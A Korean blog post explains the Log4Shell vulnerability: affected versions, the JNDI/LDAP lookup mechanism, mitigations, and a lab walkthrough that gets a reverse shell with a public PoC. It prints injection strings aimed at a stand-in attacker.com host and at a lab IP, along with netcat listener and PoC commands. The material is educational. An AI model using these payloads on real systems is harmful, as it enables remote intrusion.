[Log4shell] Log4j 취약점 분석

3 분 소요

💡 본 포스팅에서는 2021-12-10일에 발견된 log4j 보안 취약점에 대해서 살펴보겠습니다.

[00]Log4j란?

image

2021-12-10에 발견된 log4shell 은 Apache Log4j 2유틸리티의 여러 버전에 영향을 미치는 심각도가 높은 취약점(CVE-2021-4428, CVSSv3 10.0) 입니다. 현재 이 취약점은 Log4j2의 여러 버전에 영향을 미치고 있습니다.

이 취약점이 위험한 이유는 첫째로, 피해가 광범위 하기 때문입니다. 많은 Java로 개발된 어플리케이션들은 대부분 영향을 받으며, 오픈소스 특성상 서로 종속되어 있기 때문에 쉽게 패치를 진행하기가 어렵습니다. 두번째로, 이 취약점은 인증되지 않은 원격 코드 실행(RCE: Remote Code Execution)이 가능하기 때문입니다. 마지막으로 공격자들이 어렵지 않게 해당 취약점을 이용할 수 있다는 것입니다.


영향을 받는 버전

  • CVE-2021-44228 (원격 코드 실행 취약점)
    • 2.0-beta9 ~ 2.14.1 버전
      • Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 버전 제외
  • CVE-2021-45046 (서비스 거부 취약점)
    • 2.0-beta9 ~ 2.15.0 버전
      • Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 버전 제외
  • CVE-2021-4104 (원격 코드 실행 취약점)
    • 1.x 버전
      • JMSAppender를 사용하지 않는 경우 취약점 영향 없음

[01] Log4j 원리

  • log4j 취약점이 발생한 문제의 원인은 log4j가 로그를 출력할 때 개발자는 메시지 데이터로만 로그가 작성될 것으로 가정했지만, log4j 2.0부터는 JNDI를 이용하여 자동으로 디렉터리 서비스에 접근하여 이름으로 변환하거나, 자바 객체를 다운받는 기능을 제공하고 있었습니다. 공격자는 이 기능을 이용해서 공격자의 서버로 악성 자바 객체를 다운받게 하여 이 코드를 이용해서 서버를 탈취할 수 있게 됩니다.
  • 예를 들어 서버에서 다음과 같이 사용자의 User-Agent 정보를 남긴다고 하면 공격자는 User-Agent 정보에 JNDI를 사용하여 LDAP 과 같은 디렉터리 서비스로부터 악성 JAVA 클래스를 가리키는 URI를 반환하게 할 수 있습니다.

    log.info("User-Agent : {}",request.getHeader("X-Api-version"));

[JNDI]

img

JNDI(Java Naming and Directory Interface)는 클라이언트가 이름을 통해서 데이터와 개체를 검색하고 조회할 수 있도록 하는 Java API입니다. 즉 자바에서 다른 디렉터리 서비스 RMI(Remote Method),CORBRA(Common Object Request Broket Architecture), LDAP(Lightweight Directory Access Protocol),DNS(Domain Name Service)에 접근하여 수정하거나, 개체를 불러오는 것을 지원하는 것입니다.

이번에 log4j에서 문제가 된 부분은, 이러한 Jndi Lookup을 할때, 대상 서버에 대한 검증을 하지 않아서 안전하지 않은 서버로부터 자바 클래스 파일을 내려 받아 실행할 수 있기 때문입니다.

그리고 그 중 가장 많이 사용된 디렉터리 서비스는 LDAP 서비스입니다.

[공격 방식]

  • 공격 과정을 그림으로 나타내면 다음과 같습니다. image
  1. 공격자는 JNDI Injection을 일으키기 위해서 User-Agent 정보에 JNDI 쿼리를 작성합니다.

    User-Agent: ${jndi:ldap://attacker.com/a}
    
  2. 취약한 서버에서는 log4j 로깅 과정에서 ldap 쿼리가 실행되게 되어서 공격자의 ldap 서버로 쿼리를 하게 됩니다.

    log.info("User-Agent : ${jndi:ldap://attacker.com/a}");
    
  3. 공격자의 ldap 서버에서는 주어진 쿼리에 대해서 악성 java 클래스의 위치가 담긴 ldap response 를 보내게 됩니다. 위의 그림에서라면, 취약한 서버로 Exploit.class파일의 경로가 전달되게 되며, 해당파일의 경로는 “http://attacker.com/Exploit.class“입니다.

  4. 취약한 웹서버는 http://attacker.com/Exploit.class파일을 다운받고 해당 클래스 파일이 실행되며, RCE가 가능하게 됩니다.

[문제 해결]

다음 그림은 스위스 정부에서 만든 log4j 취약점을 막는 방법입니다. 패치를 진행하여 해결하는 방법이 가장 안전하겠지만, 불가능 하다면 다른 대안을 통해서 임시적으로 방어를 할 수 있습니다.

image

  • 웹 방화벽(WAF)의 탐지룰을 통한 차단
    • 공격 패턴을 방화벽 단에서 미리 차단할 수 있지만 우회가능성이 높습니다.
    • 내부 시스템 환경에 따라서 정책을 수정해서 사용해야 합니다.
  • 취약한 버전의 log4j를 업데이트
    • 2.15.0 버전 이후에는 lookup 동작이 기본적으로 비활성화 되어 있으며, 2.16.0이후 부터는 이 기능이 완전히 제거 되었습니다.
  • JNDI Lookup 기능을 제거
    • [CVE-2021-44228, CVE-2021-45046] : log4j 2.0-beta9 ~ 2.15.0 이하
      zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    • log4j2.formatMsgNoLookups를 true로 설정
    • [CVE-2021-4104] : log4j 1.x 버전
      JMSAppender 기능 제거
  • Log4J 를 사용하지 않음

  • 취약점 패치에 대한 더 자세한 정보는 KISA에서 확인 할 수 있습니다.

[02] Log4j PoC 분석

log4j 취약점이 발표된 직 후 PoC 코드가 공개되며, 공격자들이 활발하게 공격을 진행하고 있습니다. 실제 PoC 코드를 분석 해보며, 지금까지 포스팅 된 내용이 어떻게 코드로 구현되었는지 확인해 보겠습니다.

제가 참고한 PoC코드는 여기에서 확인 하실 수 있습니다.

[Vulnerable App]

  • log4j 취약점이 존재하는 웹서버를 먼저 구성했습니다. 웹사이트의 자세한 소스코드는 아래와 같고, 이후의 실습에서 더 확인해 보겠습니다.

    웹사이트 소스 코드

    • 33번째 줄에서 userName을 그대로 로그로 작성하여 JNDI injection이 가능합니다.

[Exploit code]

Exploit 코드 [링크]

  1. Exploit 코드
  2. LDAP 서버 코드

[03] Log4j 실습

위의 PoC 코드를 토대로 실습을 진행해 보겠습니다. 공격자는 Kali Linux로, 취약한 웹서버는 우분투로 구축하여 리버스 쉘을 얻는 부분까지 입니다.

웹서버 구성

웹서버 정보

Ubuntu 18.04
IP: 192.168.128.152
log4j 버전 : 2.14.1

명령어

git clone https://github.com/kozmer/log4j-shell-poc
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc

localhost:8080으로 접속 가능

웹사이트 화면

image

공격 환경 구성

공격자 정보

Kali Linux
IP: 192.168.128.139
LDAP Port : 1389
Web Port : 8000 (악성 java 클래스 파일 다운로드용 웹포트)
nc Port : 9001 (리버스 쉘 연결용 포트)

명령어

  git clone https://github.com/kozmer/log4j-shell-poc
  cd log4j-shell-poc
  pip3 install -r requirements.txt

JDK 1.8 버전을 다운받아서 해당 폴더에 위치 시키기. 단 이름은 꼭 JDK_1.8.0_20 이어야 합니다. JDK 1.8.0에서 다른 버전이어도 되는데 이름은 저렇게 바꿔줘야 합니다.

image

  nc -nlvp 9001
  python3 poc.py --userip [공격자ip] --webport 8000 --lport [nc 리스닝 포트]

image

이제 공격자가 취약한 웹서버에 다음 jndi ldap 쿼리를 인젝션 하여 공격을 수행합니다.

  ${jndi:ldap://192.168.128.139:1389/a}

위의 취약한 웹서버Vulnerable App의 코드를 보면 userName을 그대로 로깅하고 있으므로 username 부분에 인젝션을 합니다.

image

공격자 화면을 보면 다음과 같이 쉘을 획득한 것을 볼 수 있습니다. image

  1. 취약한 웹서버로 부터 LDAP 쿼리가 와서 Exploit.class 파일의 경로를 반환했다는 내용이며
  2. nc로 리스닝 하고 있던 포트에서 쉘이 연결 된 모습입니다.

Flow Chart

다음 그래프는 전체 Flow 입니다. image

🔔 Reference

  • https://www.fastly.com/blog/new-data-and-insights-into-log4shell-attacks-cve-2021-44228
  • https://www.randori.com/blog/cve-2021-44228/
  • https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
  • https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j
  • https://popit.kr/

댓글남기기